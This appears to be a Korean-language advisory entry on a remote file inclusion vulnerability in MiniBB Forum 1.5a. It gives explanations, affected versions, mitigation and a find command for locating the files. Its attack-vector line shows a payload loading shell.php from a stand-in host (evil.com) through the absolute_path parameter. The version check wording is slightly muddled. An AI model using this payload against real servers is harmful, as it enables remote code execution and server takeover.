🇰🇷 한글 설명
MiniBB Forum 1.5a의 원격 파일 포함(RFI) 취약점으로, absolute_path 매개변수를 통해 임의의 PHP 코드를 원격 실행할 수 있습니다. news.php, search.php, whosOnline.php에서 사용자 입력이 충분히 검증되지 않아 공격자가 악의적인 PHP 파일을 로드하여 서버를 완전히 장악할 수 있습니다.
💡 쉬운 설명
MiniBB 포럼 프로그램의 파일 경로 설정에서 안전하지 않은 부분으로 인해 해커가 나쁜 코드를 실행할 수 있습니다. 이를 악용하면 웹사이트 서버 전체가 장악될 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in MiniBB Forum 1.5a allow remote attackers to execute arbitrary PHP code via a URL in the absolute_path parameter to (1) news.php, (2) search.php, or (3) whosOnline.php.
📍 영향받는 시스템
MiniBB Forum 1.5a 및 이전 버전
⚔️ 공격 벡터
URL 파라미터 absolute_path에 원격 PHP 파일 경로를 삽입하여 코드 실행 (예: news.php?absolute_path=http://evil.com/shell.php)
🛡️ 대응 방법
MiniBB Forum을 최신 버전으로 업그레이드하거나 수동 패치 적용 및 입력값 검증 강화
🔧 검증 코드
명령어에서 MiniBB 포럼 파일이 발견되면 시스템에 설치되어 있으며, version.php나 readme.txt에서 버전을 확인하여 1.5a 이상인지 검증하면 됩니다.
find / -type f \( -name 'news.php' -o -name 'search.php' -o -name 'whosOnline.php' \) 2>/dev/null | grep -i minibB | head -5